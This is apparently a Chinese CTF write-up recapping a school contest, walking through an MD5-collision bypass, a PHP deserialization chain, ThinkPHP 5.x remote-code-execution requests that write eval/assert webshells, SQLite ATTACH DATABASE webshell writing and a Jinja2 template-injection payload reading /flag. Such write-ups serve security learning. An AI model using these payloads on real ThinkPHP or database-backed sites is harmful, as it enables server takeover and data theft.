校赛复盘


比赛时没有表现的非常优秀,但确实比赛过程中以及之后,学到了很多东西,不断加油!
服了,我都买了正版的typora呀!怎么退出去的时候我记得ctrl+s了且点击保存了呀!怎么没有保存。再写一遍wp

1.真签到

1
2
3
4
5
6
7
<?php
error_reporting(0);
highlight_file(__FILE__);
if($_POST['a']!==$_POST['b']&&md5($_POST['a']) === md5($_POST['b'])) {
include($_POST['flag']);
}
?>

1.用bp抓包,因为编码问题就不用hackbar了。
2.修改请求方式
3.修改你要传入的数据,md5和要读取的文件

1
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&flag=/flag
1
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&flag=/flag

这两个都可以
很多时候我们就用数组来绕过这个相等就是可以的了,但有时候可能题目给你限制了,就会出现绕过失败的情况。我当时比赛时选用的还是较为复杂的方法了
最快的情况应该就是用hackbar传下面的,就不用再慢慢地打开bp了

1
a[]=1&b[]=2&flag=/flag

虽然这次这道题还是拿了一血,但确实是侥幸

2.少女乐队时代

这个当时也做出来了,拿血了。
一进去显示:没有思路的时候应该怎么办呢?
打开网页源代码什么也没有显示
我们用dirsearch来进行目录扫描
发现一个文件:www.zip
压缩包,我们下载下来
有一个文件是BangDream.php文件,我们用浏览器访问
http://xxxxxxxxx:27793/BangDream.php
很简单的一道反序列化的题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
highlight_file(__FILE__);
error_reporting(0);
class MyGO{
public $MyGO='迷子でもいい、迷子でも進め。';
public $Mujica='…ようこそ。Ave Mujicaの世界へ';
public $CRYCHIC='なんで春日影やったの?!!';
public function __call($name, $arguments)
{
call_user_func($arguments[0]);//哦,好像不能rce
}
}
class Mujica{
public $MyGO='迷子でもいい、迷子でも進め。';
public $Mujica='…ようこそ。Ave Mujicaの世界へ';
public $CRYCHIC='なんで春日影やったの?!!';
public static function __callStatic($name, $arguments)
{
readfile('/flag');
}
}
class CRYCHIC{
public $MyGO='迷子でもいい、迷子でも進め。';
public $Mujica='…ようこそ。Ave Mujicaの世界へ';
public $CRYCHIC='なんで春日影やったの?!!';
public function __toString()
{
return $this->MyGO->Mujica($this->CRYCHIC);
}

}
echo unserialize($_POST['welcome']);

我们来梳理构造的逻辑
1.post传的welcome会被进行反序列化,并进行输出。我们在这里传入的welcome是一个实例化的类的话,就会该类里面的__tostring。故知我们这里要对CRYCHIC这个类进行一次实例化
2.根据return $this->MyGO->Mujica($this->CRYCHIC);知我们会调用当前类里的MyGO。如果我们在此时给当前类里的MyGO实例化为MyGO类,调用Mujica($this->CRYCHIC)方法时因为不存在此方法就会触发__call()方法,CRYCHIC类下的($this->)CRYCHIC作为参数传给__call()
3.这是我们如果传的$this->CRYCHIC是一个 [‘Mujica’, ‘anything’]。那就会因为我们没有实例化Mujica,call_user_fun将我们的第一个参数作为变量传入,算静态调用,anything只要这个方法在类Mujica里不存在,就会触发Mujica里的__callStatic方法。读出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

class MyGO{
public $MyGO='迷子でもいい、迷子でも進め。';
public $Mujica='…ようこそ。Ave Mujicaの世界へ';
public $CRYCHIC='なんで春日影やったの?!!';
}
class Mujica{
public $MyGO='迷子でもいい、迷子でも進め。';
public $Mujica='…ようこそ。Ave Mujicaの世界へ';
public $CRYCHIC='なんで春日影やったの?!!';
}
class CRYCHIC{
public $MyGO='迷子でもいい、迷子でも進め。';
public $Mujica='…ようこそ。Ave Mujicaの世界へ';
public $CRYCHIC='なんで春日影やったの?!!';

}
$a = new CRYCHIC();
$a->MyGO = new MyGO();
$a->CRYCHIC = ['Mujica', 'anything'];
echo urlencode(serialize($a));

你渴望权力吗

这个我是用非预期解决的,所以后面上线了一个预期的方法
要用vps来getshell,慢慢来做,先不急着复盘那道题目了
最好做这种题目之前先做一个类似的
[SWPUCTF 2022 新生赛]ez_rce
1分
RCEthinkPHPPHP
题目描述

真的什么都没有吗?

对于nss的题,先robots.txt然后进入/NSS/index.php
5.0.x的paylaod

1
2
3
4
5
6
7
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id // 执行命令
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 // 执行phpinfo();
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?> // 写入shell

5.1.xpayload

1
2
3
4
?s=index/\think\Request/input&filter[]=system&data=pwd        //执行系统命令pwd是获取当前目录的命令
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php @eval($_POST[a]);?> //写入shell
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id //执行任意命令
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id //执行任意命令

Thinkphp5.0.5-5.0.22、Thinkphp5.1.0-5.1.30
对于nss的题目,我们输入

1
http://node7.anna.nssctf.cn:29028/NSS/index.php/?s=index/think\config/get&name=database.username

回显:root 好熟悉的界面 似曾相识啊
root就是正常的回显

1
http://node7.anna.nssctf.cn:29028/NSS/index.php/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?>

http://node7.anna.nssctf.cn:29028/NSS/shell.php
这里我们用蚁剑连接这个,再在ctf/flag/flag里找到flag
回到本题目
我们先试着http://150.158.160.64:25219/?s=index/think\config/get&name=database.username
报错: ThinkPHP V5.0.23 { 十年磨一剑-为API开发设计的高性能框架 }
这里我们查找相关的paylaod
get传:?s=captcha
post传:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
id可以换成我们要执行的命令
常规情况下

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval($_POST['cmd']);?>" > /var/www/public/test.php

这样我们就可以连接/test.php来拿到我们的flag了
还可以

1
2
3
4
5
6
7
8
9
10
11
12
写入phpinfo:

`echo "<?php phpinfo(); ?>" > /var/www/public/info.php`
)查看是否写入:

ls%20-al

cat%20/var/www/public/info.php
http://ip:8080/info.php
上传shell:

echo%20"<?php%20@eval($_REQUEST['pass']);%20?>"%20>%20/var/www/public/pass.php

但是这里存在过滤:# 注意如果是自己手敲的话,construct前面是两个下划线

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php @eval(\$_POST['123']);?>" > lksh.php

我们在上面的payload就不可以了

1
2
3
4
5
6
7
8
9
10
11
12
# 编码前内容
<?php @eval($_POST['123']);?>

# Base64编码后
PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=

# server[REQUEST_METHOD]=后接的内容修改为
echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=" | base64 -d > lksh.php

# 整句poc
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "PD9waHAgQGV2YWwoJF9QT1NUWycxMjMnXSk7Pz4=" | base64 -d > lksh.php

这样我们就可以去连接蚁剑了
还可以

1
2
3
4
5
6
7
8
9
10
11
12
13
由于存在过滤,需要用到base64加密来使我们的一句话木马上传成功
我们知道了一定存在index.php这个文件,那么我们就对其进行修改为一句话木马的样式
利用 echo “” >index.php 进行测试
为了显示我们成功注入,我们在其中添加字段变为
echo “aaabbb” >index.php
对引号内的进行base64,注意此时的引号不需要进行加密
经过测试,发现eval函数是注入不了的,需要替换为arrest函数才可以成功注入
所以将aaa<?php @assert($_POST['xss']);?>bbb 进行base64编码
成功回显出aaabbb,说明是加入到了index.php里了
开始用蚁剑,URL地址填写我们一句话木马的位置
注意要选择char16和base64
然后在终端输入env就可以出现flag了

payload,base64编码部分为aaabbb

1
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg==" | base64 -d > shell.php

访问http://xxxxxxxxxxxx:25219/shell.php
显示aaabbb,那么基本就是稳可以连接蚁剑的
这里我们添加后,出去,在你连接的地方,鼠标右键,进入虚拟终端,输入env拿到flag

3.留言框[尖尖的]

sqlmap可能一把锁出来,但是sqlmap一把锁出来不太可能
看看学长有没有什么想对大家说的呢
请输入留言ID:
这里是一道注入的题目(不完全是)
先输入:1
进行查询:查询结果如下: 欢迎来到ZJNUCTF 2025! 祝愿你能取得好成绩 —AsaL1n
2:查询结果如下: 你知道满屏幕都是美少女的美好吗 —Pangbai
3:查询结果如下: 出现错误了喵~~~~~~
4:查询结果如下: 欸,我包去哪里了 —enllus1on
5:查询结果如下: 我就喜欢玩 旮旯game –乙醇
6:查询结果如下: 关注塔菲喵,关注塔菲谢谢喵 —straw
哈哈,好玩
输入1 and 1=1–+,回显成功,1 and 1=2–+出现错误。这里是数字型吗?
那就不用继续来测试闭合符这些了?
来测列1 order by 1,这里有回显
1 order by 2开始报错了,一列应该不太可能。加上后面的提示我们知道不是数据库不是mysql

1
2
3
4
5
数据库不只有mysql哦~~~~
这题需要通过sql注入达到命令执行,但是sqlite本身不支持写文件,想想其他的漏洞呢
Space Station Toilet Initiative(太空站厕所革新计划)
hackbar发送数据包可能出现问题,这里建议使用其他工具
sqlite查询结果需要严格满足类型要求,如1 union select 1--+ 在面对查询字符串类型的时候会报错,但是1 union select '1'--+ 就不会报错

这是慢慢放出来的五条提示
我们需要先补充sqlite数据库的相关常规注入手法才可以
基础语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 数据库基础语法
sqlite3 sqltest.db #sqlite的每一个数据库就是一个文件
#执行这个命令成功创建数据库文件之后,将提供一个 sqlite> 提示符。
sqlite> .databases #判断数据库是否存在
sqlite> .open sqltest.db #打开数据库
sqlite> .tables #列出数据库中所有的表
sqlite> .schema test #得到该表所使用的命令

#创建表,语句和mysql差不多,先进入sqlite>下
sqlite> create table test(
...> id INT PRIMARY KEY NOT NULL,
...> name char(50) NOT NULL
...> );
#向表中插入数据
sqlite> insert into test (id,name) values (1,'alice');
sqlite> insert into test (id,name) values (2,'bob');
#查询语句
sqlite> select * from test;

#导入导出
sqlite3 testDB.db .dump > testDB.sql #导出
sqlite3 testDB.db < testDB.sql #导入

sqlite_master
sqlite_master表中保存数据库表的关键信息。
他保存了执行的sql语句,也是之后注入 查询表名列名的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#表中包含的字段如下
sqlite> .schema sqlite_master
CREATE TABLE sqlite_master (
type text,
name text,
tbl_name text,
rootpage integer,
sql text
);

#从sqlite_master查表名:
sqlite> select tbl_name from sqlite_master where type='table';
#获取表名和列名
sqlite> select sql from sqlite_master where type='table'; #会打印出创建表时所执行的sql语句

#设置格式化输出,可以更加直观的看到执行结果
sqlite>.header on
sqlite>.mode column
sqlite>.timer on

注入漏洞

1
2
SELECT * from user_data where id='$id';
$ret = $db->query($sql);

这里id能够实现注入
注入方式和mysql的区别不大,少了一些我们经常使用的函数,mid、left,sleep,甚至if函数都没有.没有 information_schema
闭合方式与sql有区别:分号; – /*
因为注入方式和mysql注入差不多,就只简单列一下payload

1
2
3
4
5
6
7
8
9
10
11
12
13
#查询字段数
-1' union select 1,2,3;
1' order by 3;
#查版本
0' union select 1,2,sqlite_version();
#查询表名和列名 通过查询 sqlite_master 表来实现:
-1' union select 1,2,(select sql from sqlite_master limit 0,1),4;
#当存在多个表时,我们可以用 limit 关键字逐行读取,也可以使用 group_concat 关键字进行聚合:
-1' union select 1,2,(select group_concat(sql) from sqlite_master),4;
0' union select 1,2,tbl_name FROM sqlite_master limit 2 offset 1 --
#查询数据
-1' union select 1,2,(select group_concat(username,password) from table_name),4;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sqlite写shell

写shell依靠sqlite的创建数据库功能。
除了前面提到的 sqlite3 test.db 这种创建数据库方法还可以通过 ATTACH DATABASE 这种方法来实现。
attach
当在同一时间有多个数据库可用,您想使用其中的任何一个。SQLite 的 ATTACH DATABASE 语句是用来选择一个特定的数据库,使用该命令后,所有的 SQLite 语句将在附加的数据库下执行。
也就是我们先用splite3 test.db命令打开了一个文件,进入了sqlite>模式,仍然可以用attach附加一个数据库(自动创建)

命令格式:ATTACH DATABASE file_name AS database_name;
sqlite> ATTACH DATABASE 'testDB.db' as 'TEST'; #附加一个数据库命名为test

1
2

关键点: 如果数据库文件路径设置在web目录下,就可以实现写shell的功能。
要实现写shell,需要如下操作:
通过 attach 在目标目录新建一个数据库文件 => 在新数据库创建表 => 在表中插入payload

ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>');

1

把命令闭合一下

';ATTACH DATABASE '/var/www/html/sqlite_test/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST["x"]); ?>'); --

1

这样再访问shell.php传入参数x就能getshell了

对于本题:
爆库名:1 union select sql from sqlite_master; –+
回显:查询结果如下: CREATE TABLE messages ( id INTEGER PRIMARY KEY AUTOINCREMENT, content TEXT NOT NULL )
1 union select group_concat(id) from messages; –+
回显:查询结果如下: -1,1,2,4,5,6,7,8,114514
1 union select group_concat(content) from messages; –+
回显:查询结果如下: flag{真正的flag可不在这里哦,嘿嘿嘿},欢迎来到ZJNUCTF 2025! 祝愿你能取得好成绩 —AsaL1n,你知道满屏幕都是美少女的美好吗 —Pangbai,欸,我包去哪里了 —enllus1on, 我就喜欢玩 旮旯game –乙醇,关注塔菲喵,关注塔菲谢谢喵 —straw,我弹了个shell上去吧自己实验报告删掉了我糙 —C3ngH,柳飞宇 顷刻炼化你 —Void2eye,感谢来自v&n的Aecous师傅
我们来试着其他的

1
1 union select '{{7*7}}' --+

回显:查询结果如下: 49
我们来试着

1
2
3
4
5
1 union select '{{''.__class__}}' --+完全到了另外一个界面
1 union select '{{[].__class__}}'回显:查询结果如下: <class 'list'>
1 union select '{{''.__cl'+'ass__'}}' --+报错
1 union select '{{[].__cl'+'ass__'}}' --+也报错
。。。。。。
1
2
1 union select '{{[].__class__.}}'
1 union select '{{[].__class__.__base__.__subclasses__()}}'

注意name传的是name,传参方式是get,我们可以使用脚本

1

也可以下面这个

1
1 union select '{{config.__class__.__init__.__globals__.os.popen("cat /flag").read()}}' --+

文章作者: wuk0Ng
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 wuk0Ng !
评论
  目录